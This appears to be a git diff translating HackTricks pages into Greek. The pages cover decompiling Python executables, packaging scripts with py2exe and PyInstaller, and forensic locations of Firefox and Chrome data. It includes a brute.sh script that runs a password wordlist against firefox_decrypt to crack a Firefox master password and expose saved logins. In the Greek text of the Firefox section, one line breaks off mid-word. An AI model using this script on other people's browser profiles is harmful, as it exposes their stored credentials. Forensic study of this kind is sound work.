This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one).
|
||||
Ελέγξτε την προηγούμενη τεκμηρίωση σφάλματος.
|
||||
|
||||
Check the previous error documentation.
|
||||
## Αυτόματο Εργαλείο
|
||||
|
||||
## Automatic Tool
|
||||
Το **[εργαλείο python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)** λειτουργεί ως συνδυασμός πολλών διαθέσιμων εργαλείων της κοινότητας που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυναρμολόγηση εκτελέσιμων αρχείων που έχουν γραφτεί σε Python, ειδικότερα αυτών που έχουν δημιουργηθεί με τα py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για την αναγνώριση εάν ένα εκτελέσιμο βασίζεται σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
|
||||
|
||||
The **[python-exe-unpacker tool](https://github.com/countercept/python-exe-unpacker)** serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool.
|
||||
### ImportError: Όνομα αρχείου: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει
|
||||
|
||||
### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist
|
||||
|
||||
A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process.
|
||||
|
||||
Example of the issue:
|
||||
Ένα συνηθισμένο πρόβλημα που συναντάται εμπλέκει ένα μη ολοκληρωμένο αρχείο bytecode Python που προκύπτει από τη διαδικασία αποσυναρμολόγησης με τα unpy2exe ή pyinstxtractor, το οποίο στη συνέχεια αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω ελλείπουσας αριθμητικής έκδοσης bytecode Python. Για να αντιμετωπιστεί αυτό, προστέθηκε μια επιλογή προσθήκης, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυναρμολόγησης.
|
||||
|
||||
Παράδειγμα του προβλήματος:
|
||||
```python
|
||||
# Error when attempting to decompile without the prepend option
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||
|
@ -127,11 +114,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Ανάλυση της συναρμολόγησης της Python
|
||||
|
||||
## Analyzing python assembly
|
||||
|
||||
If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
|
||||
|
||||
Εάν δεν μπορέσατε να εξαγάγετε το "πρωτότυπο" κώδικα της Python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξάγετε** τη **συναρμολόγηση** (αλλά δεν είναι πολύ περιγραφική), οπότε προσπαθήστε να εξάγετε ξανά τον πρωτότυπο κώδικα. Σε [αυτόν τον σύνδεσμο](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το δυαδικό αρχείο _.pyc_ (καλή τύχη να κατανοήσετε τη ροή του κώδικα). Εάν το _.pyc_ είναι από την Python 2, χρησιμοποιήστε την Python 2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -157,34 +142,32 @@ True
|
|||
>>>
|
||||
>>> # Disassemble the code object
|
||||
>>> dis.disassemble(code)
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
>>>
|
||||
>>> # Also disassemble that const being loaded (our function)
|
||||
>>> dis.disassemble(code.co_consts[0])
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Μετατροπή Python σε Εκτελέσιμο
|
||||
|
||||
## Python to Executable
|
||||
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να συνταχθούν φορτία χρησιμοποιώντας τα py2exe και PyInstaller.
|
||||
|
||||
To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller.
|
||||
|
||||
### To create a payload using py2exe:
|
||||
|
||||
1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle\_files” with the value of 1 will bundle everything including the Python interpreter into one exe.
|
||||
3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2.
|
||||
### Για να δημιουργήσετε ένα φορτίο χρησιμοποιώντας το py2exe:
|
||||
|
||||
1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Για το φορτίο (σε αυτήν την περίπτωση, θα το ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό που φαίνεται στο Σχήμα 1. Η επιλογή "bundle\_files" με την τιμή 1 θα συμπεριλάβει όλα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα εκτελέσιμο αρχείο.
|
||||
3. Αφού το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή "python setup.py py2exe". Αυτό θα δημιουργήσει το εκτελέσιμο, όπως φαίνεται στο Σχήμα 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
@ -192,10 +175,10 @@ import py2exe, sys, os
|
|||
sys.argv.append('py2exe')
|
||||
|
||||
setup(
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
)
|
||||
```
|
||||
|
||||
|
@ -212,12 +195,10 @@ running py2exe
|
|||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller:
|
||||
|
||||
### To create a payload using PyInstaller:
|
||||
|
||||
1. Install PyInstaller using pip (pip install pyinstaller).
|
||||
2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable.
|
||||
|
||||
1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller).
|
||||
2. Στη συνέχεια, θα εκδώσουμε την εντολή "pyinstaller --onefile hello.py" (υπενθύμιση ότι το 'hello.py' είναι το payload μας). Αυτό θα συμπεριλάβει όλα σε ένα εκτελέσιμο αρχείο.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
@ -230,27 +211,26 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Εάν ενδιαφέρεστε για μια **καριέρα στο χάκινγκ** και για να χακεύσετε το αχακέυτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,19 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Here you can find interesting tricks for specific file-types and/or software:
|
||||
Εδώ μπορείτε να βρείτε ενδιαφέρουσες τεχνικές για συγκεκριμένους τύπους αρχείων και/ή λογισμικού:
|
||||
|
||||
{% page-ref page=".pyc.md" %}
|
||||
|
||||
|
@ -41,16 +39,14 @@ Here you can find interesting tricks for specific file-types and/or software:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,90 +1,64 @@
|
|||
# Browser Artifacts
|
||||
# Αποτυπώματα Περιηγητή
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
|
||||
## Αποτυπώματα Περιηγητών <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
|
||||
Τα αποτυπώματα περιηγητών περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους περιηγητές ιστού, όπως ιστορικό πλοήγησης, σελιδοδείκτες και δεδομένα προσωρινής μνήμης. Αυτά τα αποτυπώματα αποθηκεύονται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα ανάμεσα στους περιηγητές, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
|
||||
|
||||
Here's a summary of the most common browser artifacts:
|
||||
Παρακάτω παρουσιάζεται ένα σύνολο των πιο κοινών αποτυπωμάτων περιηγητών:
|
||||
|
||||
- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites.
|
||||
- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history.
|
||||
- **Bookmarks**: Sites saved by the user for quick access.
|
||||
- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user.
|
||||
- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis.
|
||||
- **Logins**: Stored login credentials.
|
||||
- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits.
|
||||
- **Browser Sessions**: Data related to open browser sessions.
|
||||
- **Downloads**: Records of files downloaded through the browser.
|
||||
- **Form Data**: Information entered in web forms, saved for future autofill suggestions.
|
||||
- **Thumbnails**: Preview images of websites.
|
||||
- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary.
|
||||
- **Ιστορικό Πλοήγησης**: Καταγράφει τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για τον εντοπισμό επισκέψεων σε κακόβουλους ιστότοπους.
|
||||
- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας ενδείξεις όταν συνδυαστούν με το ιστορικό πλοήγησης.
|
||||
- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύονται από τον χρήστη για γρήγορη πρόσβαση.
|
||||
- **Πρόσθετα και Επεκτάσεις**: Πρόσθετα ή επεκτάσεις περιηγητή που έχουν εγκατασταθεί από τον χρήστη.
|
||||
- **Προσωρινή Μνήμη**: Αποθηκεύει περιεχόμενο ιστού (π.χ. εικόνες, αρχεία JavaScript) για τη βελτίωση των χρόνων φόρτωσης του ιστότοπου, αξιόλογο για δικαστική ανάλυση.
|
||||
- **Συνδρομές**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
|
||||
- **Εικονίδια Ιστοτόπων**: Εικονίδια που σχετίζονται με ιστότοπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες για τις επισκέψεις του χρήστη.
|
||||
- **Συνεδρίες Περιηγητή**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες περιηγητή.
|
||||
- **Λήψεις**: Εγγραφές αρχείων που έχουν ληφθεί μέσω του περιηγητή.
|
||||
- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε ιστοφόρμες, αποθηκεύονται για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
|
||||
- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων.
|
||||
- **Custom Dictionary.txt**: Λέξεις που προστίθενται από τον χρήστη στο λεξικό του περιηγητή.
|
||||
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organizes user data within profiles, stored in specific locations based on the operating system:
|
||||
Ο Firefox οργανώνει τα δεδομένα του χρήστη μέσα σε προφίλ, που αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted.
|
||||
|
||||
Within each profile folder, you can find several important files:
|
||||
|
||||
- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data.
|
||||
- Use specific SQL queries to extract history and downloads information.
|
||||
- **bookmarkbackups**: Contains backups of bookmarks.
|
||||
- **formhistory.sqlite**: Stores web form data.
|
||||
- **handlers.json**: Manages protocol handlers.
|
||||
- **persdict.dat**: Custom dictionary words.
|
||||
- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions.
|
||||
- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows.
|
||||
- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Stores favicons.
|
||||
- **prefs.js**: User settings and preferences.
|
||||
- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite.
|
||||
- **thumbnails**: Website thumbnails.
|
||||
- **logins.json**: Encrypted login information.
|
||||
- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information.
|
||||
|
||||
Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled.
|
||||
|
||||
|
||||
To try to decrypt the master password, you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
With the following script and call you can specify a password file to brute force:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους κατα
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||
passfile=$1
|
||||
while read pass; do
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
{% endcode %}
|
||||
|
@ -93,113 +67,38 @@ done < $passfile
|
|||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome stores user profiles in specific locations based on the operating system:
|
||||
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data:
|
||||
Μέσα σε αυτούς τους φακέλους, οι περισσότερες πληροφορίες των χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικές πληροφορίες:
|
||||
|
||||
- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads.
|
||||
- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available.
|
||||
- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||
- **Bookmarks**: User bookmarks.
|
||||
- **Web Data**: Contains form history.
|
||||
- **Favicons**: Stores website favicons.
|
||||
- **Login Data**: Includes login credentials like usernames and passwords.
|
||||
- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs.
|
||||
- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed.
|
||||
- **Extensions**: Directories for browser extensions and addons.
|
||||
- **Thumbnails**: Stores website thumbnails.
|
||||
- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more.
|
||||
- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output.
|
||||
